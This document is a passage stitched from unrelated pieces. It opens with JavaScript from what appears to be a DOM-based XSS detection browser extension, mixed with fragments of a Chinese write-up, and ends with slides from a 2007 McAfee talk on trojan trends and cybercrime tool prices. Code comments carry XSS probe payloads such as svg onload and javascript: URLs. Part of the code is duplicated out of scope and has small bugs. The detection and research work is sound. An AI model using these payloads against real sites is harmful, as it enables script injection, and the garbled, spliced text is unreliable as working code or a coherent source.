stringPrototypeItalics.apply(this, arguments); }; const stringPrototypeLastIndexOf = String.prototype.lastIndexOf; String.prototype.lastIndexOf = function() { return stringPrototypeLastIndexOf.apply(this.toString(), arguments); }; const stringPrototypeLink = String.prototype.link; String.prototype.link = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeLink.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeLink.apply(this, arguments); }; const stringPrototypeLocaleCompare = String.prototype.localeCompare; String.prototype.localeCompare = function() { return stringPrototypeLocaleCompare.apply(this.toString(), arguments); }; const stringPrototypeMatch = String.prototype.match; // TODO propagate taints of the regexp argument String.prototype.match = function() { if (__is_dombasedxssfinder_string(this)) { const array = stringPrototypeMatch.apply(this.toString(), arguments); if (array === null) { return null; } for (let i = 0; i < array.length; i++) { array[i] = new __dombasedxssfinder_String(array[i], this); } return array; } return stringPrototypeMatch.apply(this, arguments); }; const stringPrototypeMatchAll = String.prototype.matchAll; // TODO propagate taints of the regexp argument String.prototype.matchAll = function() { if (__is_dombasedxssfinder_string(this)) { const iterator = stringPrototypeMatchAll.apply(this.toString(), arguments); return function* () { for (const array of iterator) { for (let i = 0; i < array.length; i++) { array[i] = new __dombasedxssfinder_String(array[i], this); } yield array; } }; } return stringPrototypeMatchAll.apply(this, arguments); }; const stringPrototypeNormalize = String.prototype.normalize; String.prototype.normalize = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeNormalize.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeNormalize.apply(this, arguments); }; const stringPrototypePadEnd = String.prototype.padEnd; String.prototype.padEnd = function() { const sources = []; arguments[1] = __convert_to_dombasedxssfinder_string_if_location(arguments[1]); if (__is_dombasedxssfinder_string(arguments[1])) { arguments[1].sources.forEach(e => sources.push(e)); } if (__is_dombasedxssfinder_string(this)) { this.sources.forEach(e => sources.push(e)); } if (sources.size > 0) { const str = stringPrototypePadEnd.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, { sources }); } return stringPrototypePadEnd.apply(this, arguments); }; const stringPrototypePadStart = String.prototype.padStart; String.prototype.padStart = function() { const sources = []; arguments[1] = __convert_to_dombasedxssfinder_string_if_location(arguments[1]); if (__is_dombasedxssfinder_string(arguments[1])) { arguments[1].sources.forEach(e => sources.push(e)); } if (__is_dombasedxssfinder_string(this)) { this.sources.forEach(e => sources.push(e)); } if (sources.size > 0) { const str = stringPrototypePadStart.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, { sources }); } return stringPrototypePadStart.apply(this, arguments); }; const stringPrototypeRepeat = String.prototype.repeat; String.prototype.repeat = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeRepeat.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeRepeat.apply(this, arguments); }; const stringPrototypeReplace = String.prototype.replace; String.prototype.replace = function() { const sources = []; arguments[1] = __convert_to_dombasedxssfinder_string_if_location(arguments[1]); if (__is_dombasedxssfinder_string(arguments[1])) { arguments[1].sources.forEach(e => sources.push(e)); } if (__is_dombasedxssfinder_string(this)) { this.sources.forEach(e => sources.push(e)); } if (sources.size > 0) { const str = stringPrototypeReplace.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, { sources }); } return stringPrototypeReplace.apply(this, arguments); }; const stringPrototypeSearch = String.prototype.search; String.prototype.search = function() { return stringPrototypeSearch.apply(this.toString(), arguments); }; const stringPrototypeSlice = String.prototype.slice; String.prototype.slice = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeSlice.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeSlice.apply(this, arguments); }; const stringPrototypeSmall = String.prototype.small; String.prototype.small = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeSmall.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeSlice.apply(this, arguments); }; const stringPrototypeSplit = String.prototype.split; String.prototype.split = function() { if (__is_dombasedxssfinder_string(this)) { const array = stringPrototypeSplit.apply(this.toString(), arguments); for (let i = 0; i < array.length; i++) { array[i] = new __dombasedxssfinder_String(array[i], this); } return array; } return stringPrototypeSplit.apply(this, arguments); }; const stringPrototypeStartsWith = String.prototype.startsWith; String.prototype.startsWith = function() { return stringPrototypeStartsWith.apply(this.toString(), arguments); }; const stringPrototypeStrike = String.prototype.strike; String.prototype.strike = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeStrike.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeStrike.apply(this, arguments); }; const stringPrototypeSub = String.prototype.sub; String.prototype.sub = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeSub.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeSub.apply(this, arguments); }; const stringPrototypeSubstr = String.prototype.substr; String.prototype.substr = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeSubstr.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeSubstr.apply(this, arguments); }; const stringPrototypeSubstring = String.prototype.substring; String.prototype.substring = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeSubstring.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeSubstring.apply(this, arguments); }; const stringPrototypeSup = String.prototype.sup; String.prototype.sup = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeSup.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeSup.apply(this, arguments); }; const stringPrototypeToLocaleLowerCase = String.prototype.toLocaleLowerCase; String.prototype.toLocaleLowerCase = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeToLocaleLowerCase.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeToLocaleLowerCase.apply(this, arguments); }; const stringPrototypeToLocaleUpperCase = String.prototype.toLocaleUpperCase; String.prototype.toLocaleUpperCase = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeToLocaleUpperCase.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeToLocaleUpperCase.apply(this, arguments); }; const stringPrototypeToLowerCase = String.prototype.toLowerCase; String.prototype.toLowerCase = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeToLowerCase.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeToLowerCase.apply(this, arguments); }; // skip String.prototype.toString, which is overwritten in __dombasedxssfinder_String const stringPrototypeToUpperCase = String.prototype.toUpperCase; String.prototype.toUpperCase = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeToUpperCase.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeToUpperCase.apply(this, arguments); }; const stringPrototypeTrim = String.prototype.trim; String.prototype.trim = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeTrim.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeTrim.apply(this, arguments); }; const stringPrototypeTrimEnd = String.prototype.trimEnd; String.prototype.trimEnd = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeTrimEnd.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeTrimEnd.apply(this, arguments); }; const stringPrototypeTrimStart = String.prototype.trimStart; String.prototype.trimStart = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeTrimStart.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeTrimStart.apply(this, arguments); }; // skip String.prototype.valueOf, which is overwritten in __dombasedxssfinder_String /////////////////////////////////////////////// // RegExp.prototype /////////////////////////////////////////////// const regExpPrototypeExec = RegExp.prototype.exec; RegExp.prototype.exec = function() { const array = regExpPrototypeExec.apply(this, arguments); if (array !== null && __is_dombasedxssfinder_string(arguments[0])) { for (let i = 0; i < array.length; i++) { array[i] = new __dombasedxssfinder_String(array[i], arguments[0]); } } return array; }; /////////////////////////////////////////////// // Range.prototype /////////////////////////////////////////////// const rangeCreateContextualFragment = Range.prototype.createContextualFragment; Range.prototype.createContextualFragment = function(fragment) { if (__is_dombasedxssfinder_string_html(fragment)) { __dombasedxssfinder_vulns_push(fragment.sources, 'Range.prototype.createContextualFragment()'); } return rangeCreateContextualFragment.apply(this, arguments); }; /////////////////////////////////////////////// // document /////////////////////////////////////////////// const documentWrite = document.write; document.write = function(...text) { for (let i = 0; i < text.length; i++) { console.debug("document.write",text[i]); if (__is_dombasedxssfinder_string_html(text[i])) { __dombasedxssfinder_vulns_push(text[i].sources, 'document.write()'); } } return documentWrite.apply(this, arguments); }; const documentWriteln = document.writeln; document.writeln = function(...text) { for (let i = 0; i < text.length; i++) { if (__is_dombasedxssfinder_string_html(text[i])) { __dombasedxssfinder_vulns_push(text[i].sources, 'document.writeln()'); } } return documentWriteln.apply(this, arguments); }; /////////////////////////////////////////////// // global functions /////////////////////////////////////////////// const _decodeURI = decodeURI; decodeURI = function(encodedURI) { encodedURI = __convert_to_dombasedxssfinder_string_if_location(encodedURI); if (__is_dombasedxssfinder_string(encodedURI)) { const str = _decodeURI.apply(this, [encodedURI.toString()]); const newStr = new __dombasedxssfinder_String(str, encodedURI); return newStr; } return _decodeURI.apply(this, arguments); }; const _encodeURI = encodeURI; encodeURI = function(URI) { URI = __convert_to_dombasedxssfinder_string_if_location(URI); if (__is_dombasedxssfinder_string(URI)) { const str = _encodeURI.apply(this, [URI.toString()]); const newStr = new __dombasedxssfinder_String(str, URI); return newStr; } return _encodeURI.apply(this, arguments); }; const _decodeURIComponent = decodeURIComponent; decodeURIComponent = function(encodedURI) { encodedURI = __convert_to_dombasedxssfinder_string_if_location(encodedURI); if (__is_dombasedxssfinder_string(encodedURI)) { const str = _decodeURIComponent.apply(this, [encodedURI.toString()]); const newStr = new __dombasedxssfinder_String(str, encodedURI); return newStr; } return _decodeURIComponent.apply(this, arguments); }; const _encodeURIComponent = encodeURIComponent; encodeURIComponent = function(URI) { URI = __convert_to_dombasedxssfinder_string_if_location(URI); if (__is_dombasedxssfinder_string(URI)) { const str = _encodeURIComponent.apply(this, [URI.toString()]); const newStr = new __dombasedxssfinder_String(str, URI); return newStr; } return _encodeURIComponent.apply(this, arguments); }; const _unescape = unescape; unescape = function(escapedString) { escapedString = __convert_to_dombasedxssfinder_string_if_location(escapedString); if (__is_dombasedxssfinder_string(escapedString)) { const str = _unescape.apply(this, [escapedString.toString()]); const newStr = new __dombasedxssfinder_String(str, escapedString); return newStr; } return _unescape.apply(this, arguments); }; const _escape = escape; escape = function(string) { string = __convert_to_dombasedxssfinder_string_if_location(string); if (__is_dombasedxssfinder_string(string)) { const str = _escape.apply(this, [string.toString()]); const newStr = new __dombasedxssfinder_String(str, string); return newStr; } return _escape.apply(this, arguments); }; const _eval = eval; eval = function(x) { if (__is_dombasedxssfinder_string_script(x)) { __dombasedxssfinder_vulns_push(x.sources, 'eval()'); // eval requires toString() return _eval.apply(this, [x.toString()]); } return _eval.apply(this, arguments); }; const _setInterval = setInterval; setInterval = function(handler) { if (__is_dombasedxssfinder_string_script(handler)) { __dombasedxssfinder_vulns_push(handler.sources, 'setTimeout()'); } return _setInterval.apply(this, arguments); }; const _setTimeout = setTimeout; setTimeout = function(handler) { if (__is_dombasedxssfinder_string_script(handler)) { __dombasedxssfinder_vulns_push(handler.sources, 'setTimeout()'); } return _setTimeout.apply(this, arguments); }; const _postMessage = postMessage; postMessage = function(message) { if (__is_dombasedxssfinder_string(message)) { arguments[0] = message.toString(); } return _postMessage.apply(this, arguments); }; })(); const __dombasedxssfinder_String = function(str, parent) { this.str = '' + str; this.sources = []; parent.sources.forEach(e => this.sources.push(e)); this.valueOf = function() { return this; }; this.toString = function() { return this.str; }; // str.length Object.defineProperty(this, 'length', { set: () => null, get: () => this.str.length }); // str[0] for (let i = 0; i < this.str.length; i++) { Object.defineProperty(this, i, { set: () => null, get: () => new __dombasedxssfinder_String(this.str[i], this) }); } Object.defineProperty(this, '__dombasedxssfinder_string', { set: () => null, get: () => true }); }; __dombasedxssfinder_String.prototype = String.prototype; function __dombasedxssfinder_plus(left, right) { left = __convert_to_dombasedxssfinder_string_if_location(left); right = __convert_to_dombasedxssfinder_string_if_location(right); if (__is_dombasedxssfinder_string(left) || __is_dombasedxssfinder_string(right)) { const sources = []; if (__is_dombasedxssfinder_string(left)) { left.sources.forEach(e => sources.push(e)); } if (__is_dombasedxssfinder_string(right)) { right.sources.forEach(e => sources.push(e)); } return new __dombasedxssfinder_String('' + left + right, { sources }); } try { return left + right; } catch (e) { return left.toString() + right.toString(); } } function __dombasedxssfinder_get(object, key) { // if (object === null || object === undefined) { // console.trace({object, key}); // } if (object === window.location) { if (key === 'hash') { console.debug('hash',object,key); return new __dombasedxssfinder_String(object[key], { sources: [__dombasedxssfinder_get_source('window.location.hash')], }); } else if (key === 'href') { return new __dombasedxssfinder_String(object[key], { sources: [__dombasedxssfinder_get_source('window.location.href')], }); } else if (key === 'pathname') { return new __dombasedxssfinder_String(object[key], { sources: [__dombasedxssfinder_get_source('window.location.pathname')], }); } else if (key === 'search') { return new __dombasedxssfinder_String(object[key], { sources: [__dombasedxssfinder_get_source('window.location.search')], }); } } else if (object === document) { if (key === 'documentURI') { return new __dombasedxssfinder_String(object[key], { sources: [__dombasedxssfinder_get_source('document.documentURI')], }); } else if (key === 'baseURI') { return new __dombasedxssfinder_String(object[key], { sources: [__dombasedxssfinder_get_source('document.baseURI')], }); } else if (key === 'URL') { return new __dombasedxssfinder_String(object[key], { sources: [__dombasedxssfinder_get_source('document.URL')], }); } else if (key === 'referrer' && object[key]) { return new __dombasedxssfinder_String(object[key], { sources: [__dombasedxssfinder_get_source('document.referrer')], }); } } return object[key]; } function __dombasedxssfinder_put(object, key, value) { // if (object === null || object === undefined) { // console.trace({object, key, value}); // } if (object[key] === window.location && __is_dombasedxssfinder_string_script(value)) { // __dombasedxssfinder_vulns_push(value.sources, 'window.location'); // kill navigation return; } else if (object === window.location && key === 'href' && __is_dombasedxssfinder_string_script(value) && value.toString() !== object[key]) { // __dombasedxssfinder_vulns_push(value.sources, 'window.location.href'); // kill navigation return; } else if (object instanceof Element && key === 'innerHTML' && __is_dombasedxssfinder_string_html(value)) { __dombasedxssfinder_vulns_push(value.sources, 'Element.innerHTML'); } else if (object instanceof Element && key === 'outerHTML' && __is_dombasedxssfinder_string_html(value)) { __dombasedxssfinder_vulns_push(value.sources, 'Element.outerHTML'); } else if (object instanceof HTMLScriptElement && key === 'src' && __is_dombasedxssfinder_string_url(value)) { __dombasedxssfinder_vulns_push(value.sources, 'HTMLScriptElement.src'); } else if (object instanceof HTMLEmbedElement && key === 'src' && __is_dombasedxssfinder_string_url(value)) { __dombasedxssfinder_vulns_push(value.sources, 'HTMLEmbedElement.src'); } else if (object instanceof HTMLIFrameElement && key === 'src' && __is_dombasedxssfinder_string_script(value)) { __dombasedxssfinder_vulns_push(value.sources, 'HTMLIFrameElement.src'); } else if (object instanceof HTMLAnchorElement && key === 'href' && __is_dombasedxssfinder_string_script(value)) { __dombasedxssfinder_vulns_push(value.sources, 'HTMLAnchorElement.href'); } else if (object instanceof HTMLFormElement && key === 'action' && __is_dombasedxssfinder_string_script(value)) { __dombasedxssfinder_vulns_push(value.sources, 'HTMLFormElement.action'); } else if (object instanceof HTMLInputElement && key === 'formAction' && __is_dombasedxssfinder_string_script(value)) { __dombasedxssfinder_vulns_push(value.sources, 'HTMLInputElement.formAction'); } else if (object instanceof HTMLButtonElement && key === 'formAction' && __is_dombasedxssfinder_string_script(value)) { __dombasedxssfinder_vulns_push(value.sources, 'HTMLButtonElement.formAction'); } else if (object instanceof HTMLObjectElement && key === 'data' && __is_dombasedxssfinder_string_data_html(value)) { __dombasedxssfinder_vulns_push(value.sources, 'HTMLObjectElement.data'); } else if (object instanceof HTMLScriptElement && key === 'text' && __is_dombasedxssfinder_string_script(value)) { __dombasedxssfinder_vulns_push(value.sources, 'HTMLScriptElement.text'); } else if (object instanceof HTMLScriptElement && key === 'textContent' && __is_dombasedxssfinder_string_script(value)) { __dombasedxssfinder_vulns_push(value.sources, 'HTMLScriptElement.textContent'); } else if (object instanceof HTMLScriptElement && key === 'innerText' && __is_dombasedxssfinder_string_script(value)) { __dombasedxssfinder_vulns_push(value.sources, 'HTMLScriptElement.innerText'); } return object[key] = value; } function __dombasedxssfinder_new_Function() { const f = new Function(...arguments); if (__is_dombasedxssfinder_string_script(arguments[arguments.length - 1])) { __dombasedxssfinder_vulns_push(arguments[arguments.length - 1].sources, 'new Function()'); f.__dombasedxssfinder_str = arguments[arguments.length - 1]; } return f; } function __dombasedxssfinder_equal(left, right) { if (__is_dombasedxssfinder_string(left)) { left = left.toString(); } if (__is_dombasedxssfinder_string(right)) { right = right.toString(); } return left == right; } function __dombasedxssfinder_notEqual(left, right) { if (__is_dombasedxssfinder_string(left)) { left = left.toString(); } if (__is_dombasedxssfinder_string(right)) { right = right.toString(); } return left != right; } function __dombasedxssfinder_strictEqual(left, right) { if (__is_dombasedxssfinder_string(left)) { left = left.toString(); } if (__is_dombasedxssfinder_string(right)) { right = right.toString(); } return left === right; } function __dombasedxssfinder_strictNotEqual(left, right) { if (__is_dombasedxssfinder_string(left)) { left = left.toString(); } if (__is_dombasedxssfinder_string(right)) { right = right.toString(); } return left !== right; } function __dombasedxssfinder_typeof(o) { if (__is_dombasedxssfinder_string(o)) { return 'string'; } return typeof o; } function __is_dombasedxssfinder_string(o) { return o && o.__dombasedxssfinder_string; } function __is_dombasedxssfinder_string_html(o) { // <svg/onload=alert()> o = __convert_to_dombasedxssfinder_string_if_location(o); return __is_dombasedxssfinder_string(o); } function __is_dombasedxssfinder_string_data_html(o) { // data:text/html,<script>alert(1)</script> o = __convert_to_dombasedxssfinder_string_if_location(o); return __is_dombasedxssfinder_string(o); } function __is_dombasedxssfinder_string_script(o) { // alert() // javascript:alert() o = __convert_to_dombasedxssfinder_string_if_location(o); return __is_dombasedxssfinder_string(o); } function __is_dombasedxssfinder_string_url(o) { // //14.rs o = __convert_to_dombasedxssfinder_string_if_location(o); return __is_dombasedxssfinder_string(o); } function __dombasedxssfinder_property_call(object, key, ...arguments) { // if (object === null || object === undefined || typeof object[key] !== 'function') { // console.trace({object, key, arguments}); // } if (object[key] === window.location.assign) { // cannot overwrite, replace it when called. return (function(url) { if (__is_dombasedxssfinder_string_script(url)) { // __dombasedxssfinder_vulns_push(url.sources, 'window.location.assign()'); // kill navigation return; } }).apply(object, arguments); } else if (object[key] === window.location.replace) { // cannot overwrite, replace it when called. return (function(url) { if (__is_dombasedxssfinder_string_script(url)) { // __dombasedxssfinder_vulns_push(url.sources, 'window.location.replace()'); // kill navigation return; } }).apply(object, arguments); } else if (object instanceof Element && key === 'setAttribute') { const elementSetAttribute = object[key]; return (function(qualifiedName, value) { if (qualifiedName.startsWith('on') && __is_dombasedxssfinder_string_script(value)) { __dombasedxssfinder_vulns_push(value.sources, `Element.setAttribute('${qualifiedName}')`); } else if (this instanceof HTMLScriptElement && qualifiedName === 'src' && __is_dombasedxssfinder_string_url(value)) { __dombasedxssfinder_vulns_push(value.sources, 'HTMLScriptElement.setAttribute(\'src\')'); } else if (this instanceof HTMLEmbedElement && qualifiedName === 'src' && __is_dombasedxssfinder_string_url(value)) { __dombasedxssfinder_vulns_push(value.sources, 'HTMLEmbedElement.setAttribute(\'src\')'); } else if (this instanceof HTMLIFrameElement && qualifiedName === 'src' && __is_dombasedxssfinder_string_script(value)) { __dombasedxssfinder_vulns_push(value.sources, 'HTMLIFrameElement.setAttribute(\'src\')'); } else if (this instanceof HTMLAnchorElement && qualifiedName === 'href' && __is_dombasedxssfinder_string_script(value)) { __dombasedxssfinder_vulns_push(value.sources, 'HTMLAnchorElement.setAttribute(\'href\')'); } else if (this instanceof HTMLFormElement && qualifiedName === 'action' && __is_dombasedxssfinder_string_script(value)) { __dombasedxssfinder_vulns_push(value.sources, 'HTMLFormElement.setAttribute(\'action\')'); } else if (this instanceof HTMLInputElement && qualifiedName === 'formaction' && __is_dombasedxssfinder_string_script(value)) { __dombasedxssfinder_vulns_push(value.sources, 'HTMLInputElement.setAttribute(\'formaction\')'); } else if (this instanceof HTMLButtonElement && qualifiedName === 'formaction' && __is_dombasedxssfinder_string_script(value)) { __dombasedxssfinder_vulns_push(value.sources, 'HTMLButtonElement.setAttribute(\'formaction\')'); } else if (this instanceof HTMLObjectElement && qualifiedName === 'data' && __is_dombasedxssfinder_string_data_html(value)) { __dombasedxssfinder_vulns_push(value.sources, 'HTMLObjectElement.setAttribute(\'data\')'); } elementSetAttribute.apply(this, arguments); }).apply(object, arguments); } else if (object instanceof Element && key === 'addEventListener') { const elementAddEventListener = object[key]; return (function(type, listener) { if (type === 'click' && listener && listener.__dombasedxssfinder_str && __is_dombasedxssfinder_string_script(listener.__dombasedxssfinder_str)) { __dombasedxssfinder_vulns_push(listener.__dombasedxssfinder_str.sources, 'Element.addEventListener(\'click\')'); } elementAddEventListener.apply(this, arguments); }).apply(object, arguments); } return object[key](...arguments); } function __dombasedxssfinder_call(func, ...arguments) { // if (typeof func !== 'function') { // console.trace({func, arguments}); // } if (func === window.location.assign) { // cannot overwrite, replace it when called. func = function(url) { if (__is_dombasedxssfinder_string_script(url)) { // __dombasedxssfinder_vulns_push(url.sources, 'window.location.assign()'); // kill navigation return; } }; } else if (func === window.location.replace) { // 上書きできないので呼び出し時に差し替える func = function(url) { if (__is_dombasedxssfinder_string_script(url)) { // __dombasedxssfinder_vulns_push(url.sources, 'window.location.replace()'); // kill navigation return; } }; } return func(...arguments); } function __convert_to_dombasedxssfinder_string_if_location(o) { if (o === window.location) { o = new __dombasedxssfinder_String(o.toString(), { sources: [__dombasedxssfinder_get_source('window.location')], }); } return o; } function __dombasedxssfinder_get_stacktrace() { const o = {}; Error.captureStackTrace(o); // console.debug(o.stack.replace(/^Error\n/, '').replace(/^\s+at\s+/mg, '')); const regExp = /(https?:\/\/\S+):(\d+):(\d+)/; return o.stack.replace(/^Error\n/, '').replace(/^\s+at\s+/mg, '').split('\n') .filter(e => regExp.test(e)) .map(e => { const m = e.match(regExp); const url = m[1]; const line = m[2]; // start from 1 const column = m[3]; // start from 1 return { url, line, column, code: null }; }); } function __dombasedxssfinder_vulns_push(sources, sinkLabel) { if (!document.body) { setTimeout(() => __dombasedxssfinder_vulns_push(sources, sinkLabel), 500); return; } let container = document.getElementById('#__dombasedxssfinder_result_container'); if (!container) { container = document.createElement('div'); container.style.display = 'none'; container.id = '__dombasedxssfinder_result_container'; document.body.appendChild(container); } if (container) { for (const source of sources) { const row = document.createElement('div'); row.style.display = 'none'; row.classList = '__dombasedxssfinder_result'; const result = { url: location.href, source, sink: __dombasedxssfinder_get_sink(sinkLabel) }; 调⽤栈获取 在每个sink和source的hook触发函数中执⾏以下代码,即可获得当前的调⽤堆栈信息。 ⼀个⼩demo row.textContent = JSON.stringify(result); container.appendChild(row); console.debug('result', result); } } } function __dombasedxssfinder_get_source(label) { return { label, stacktrace: __dombasedxssfinder_get_stacktrace() }; } function __dombasedxssfinder_get_sink(label) { return { label, stacktrace: __dombasedxssfinder_get_stacktrace() }; } console.debug(`preload at ${location.href}`); } function __dombasedxssfinder_get_stacktrace() { const o = {}; Error.captureStackTrace(o); // console.debug(o.stack.replace(/^Error\n/, '').replace(/^\s+at\s+/mg, '')); const regExp = /(https?:\/\/\S+):(\d+):(\d+)/; return o.stack.replace(/^Error\n/, '').replace(/^\s+at\s+/mg, '').split('\n') .filter(e => regExp.test(e)) .map(e => { const m = e.match(regExp); const url = m[1]; const line = m[2]; // start from 1 const column = m[3]; // start from 1 return { url, line, column, code: null }; }); } 最后 这个插件是动态js调⽤,实现了动态hook查找sink和source的dom-xss查找⽅法,是基于chrome扩展的最好实现 ⽅式了,是⾃动化xss很好的⼀种参考⽅式。⽤这种⽅式,加上之前的chromium爬⾍,结合起来进⾏⾃动化xss发 现,会是⼀种很好玩的⾃动化⽅式~ 参考 https://lorexxar.cn/2019/11/22/chrome-ext-1/ https://paper.seebug.org/1078/
pdf
© 2007 McAfee, Inc. © 2007 McAfee, Inc. Trojans – A Reality Check Looking at what‘s real Toralv Dirro EMEA Security Strategist, CISSP McAfee® Avert® Labs Dirk Kollberg Virus Research Lead McAfee® Avert® Labs © 2007 McAfee, Inc. So when did all this start? 3 8/14/2007 History Lesson • Term coined by Ken Thompson in 1983 • Used to gain privileged access to computers since the 80s — Keyloggers — Fake login screens • ...and to maintain access — Rootkits — Backdoors • or trivial trojans that just delete things http://www.acm.org/awards/article/a1983-thompson.pdf 4 8/14/2007 The Hype is started • Defcon 7.0: BO2K is released • Massive Media attention • The Hype is started 5 8/14/2007 Hype around Trojans • 2001: Magic Lantern — Supposedly developed by the FBI to replace (hardware) keyloggers • 2007: Der Bundestrojaner — Proposed by German authorities to enable „online searches“ on suspects computers — >600.000 Google hits — April‘s Fool Joke around it by the CCC scares thousands — Estimated cost of development ~200.000 Euro [1] [1] Drucksache 16/3973 Deutscher Bundestag © 2007 McAfee, Inc. And The Reality? 7 8/14/2007 Malware & Potentially Unwated Program Growth -5000 0 5000 10000 15000 20000 25000 30000 1997 1998 1999 2000 2001 2002 2003 2004 2005 2006 Virus Trojan Potentially Unwanted Program 8 8/14/2007 Samples sent to McAfee Research 2005 2006 Source: McAfee’s statistics Legacy is defined as: DOS, boot-sector, and Win3.1 viruses 12 3 25 Macro 7% Legacy 39% Trojans 23% PUPs 3% Script 9% Bots 12% Win 32 7% 22 3 31 Macro 5% Legacy 26% Trojans 31% PUPs 3% Script 7% Bots 22% Win 32 6% 60000 50000 40000 30000 20000 10000 0 2004 2005 2006 Bots Legacy Trojans Script Macro Win 32 PUPs 9 8/14/2007 1997 - 2006 Fastest Growing Trojan Types -2000 0 2000 4000 6000 8000 1997 1998 1999 2000 2001 2002 2003 2004 2005 2006 Password Stealer Downloader BackDoor 10 8/14/2007 2007: Q1 Password Stealing Trojan Targets PWS Variants Classified 0 100 200 300 400 500 600 700 Banker LegMir Lineage Gamania WoW LDPinch Zhengtu QQPass Goldun QQRob Jan-07 Feb-07 Mar-07 11 8/14/2007 By The End of 2006 1997 End of 2006 Vulnerabilities 400 21,400 Password Stealers 400 13,600 Potentially Unwanted Programs 1 23,000 Viruses and Trojans 17,000 222,000 Spam 5% 80+% 12 8/14/2007 Real Data from Customers • Last 18 months detection — W32/Sober@mm!681 8.362.071 MassMailer — W32/Sober.gen@mm 479.392 MassMailer — Adware/abetterintrnt.gen.a 318.556 Adware — W32/Netsky.p 286.998 MassMailer — Generic Malware.a!zip 202.929 Trojan — New Malware.j 198.962 Trojan — W32/Almanahe.c 63.452 Virus, Poly, Rootkit — Vundo.dll 54.579 Trojan — Downloader.AAP 46.870 Downloader — Downloader.BAI!M711 28.093 Downloader — PWS-Goldun 21.403 PasswordStealer — PWS-Legmir 4.100 PasswordStealer 13 8/14/2007 Real Data from Customers From this list ranked with detections in 2007 only 1. New Malware.j Trojan 2. W32/Almanahe.c Virus, Poly, Rootkit, Downloader 4. Vundo.dll Trojan 5. Downloader.AAP Downloader 6. Downloader.BAI!M711 Downloader 14 8/14/2007 Real Data from Customers • Worms/Bots? — Many dozens — All different — Small numbers, most below 20 unique detections 15 8/14/2007 Real Data from Customers • Worms/Bots? — Many dozens — All different — Small numbers, most below 20 unique detections • And some fun detections... — Parity Boot (2 detections) — PS-Kill (1033 detections) — SymbOS/Comwarrior.a (544 detections? WTF!) 16 8/14/2007 2007: Q1 Trends • 1,833 vulnerabilities in the National Vulnerability DB —(33% increase over Q1-06) • 21,579 classified viruses and trojans —(34% increase over Q1-06) • 1,379 classified PUPs —(an 8% decrease over Q1-06) • 85% of all e-mail considered Spam • Password Stealing Trojans targeting banks and game accounts © 2007 McAfee, Inc. Malware for Money 18 8/14/2007 Installing Adware on compromised machines • Common practise to make money with a botnet • Pay-per-install programs offered by various companies — Price depends on region where the victim is located — Ranges from $0.05 to $0.50 • Financial Motivation caused major changes why people write Malware and what kind of Malware is written 19 8/14/2007 Advertised Prices for various items • United States-based credit card with card verification value $1–$6 • United Kingdom-based credit card with card verification value $2–$12 • List of 29,000 emails $5 • Online banking account with a $9,900 balance $300 • Yahoo Mail cookie exploit—advertised to facilitate full access when successful $3 • Valid Yahoo and Hotmail email cookies $3 • Compromised computer $6–$20 • Phishing Web site hosting—per site $3–5 • Verified PayPal account with balance (balance varies) $50–$500 • Unverified PayPal account with balance (balance varies) $10–$50 • Skype account $12 • World of Warcraft account—one month duration $10 Source:Symantec Internet Security Threat Report 20 8/14/2007 21 8/14/2007 The cost of cyber crime tools • SNATCH TROJAN: It steals passwords and has rootkit functionalities: US$600. • FTP checker: a program to validate stolen FTP accounts. You load the list of FTP accounts and it automatically checks if the user and the password is correct for each account, separating the valid accounts from the invalid ones: US$15. • Dream Bot Builder: It floods servers for only US$500 + US$25 for update. • • Pinch: a make-to-order Trojan creator. US$30. Update: US$5 • Keylogger Teller 2.0: keylogger; uses stealth techniques US$40. • • Webmoney Trojan: captures Webmoney accounts: US$500 • • WMT-spy: Another Trojan to obtain WebMoney (its creator publishes the results it has obtained in virustotal): an executable US$5, updates US$5, the builder costs US$10. • MPACK: app that is installed on servers to deploy Trojans onto remote systems using several exploits. The version 0.80 (of 13 March) is available for US$700. 22 8/14/2007 © 2007 McAfee, Inc. Obfusicating Trojans to hide from AV 24 8/14/2007 Using Runtime Packers to circumvent AV Common Packers used by Malware 0 500 1000 1500 2000 2500 3000 3500 4000 4500 5000 24/05/2007 31/05/2007 07/06/2007 14/06/2007 21/06/2007 28/06/2007 MEW 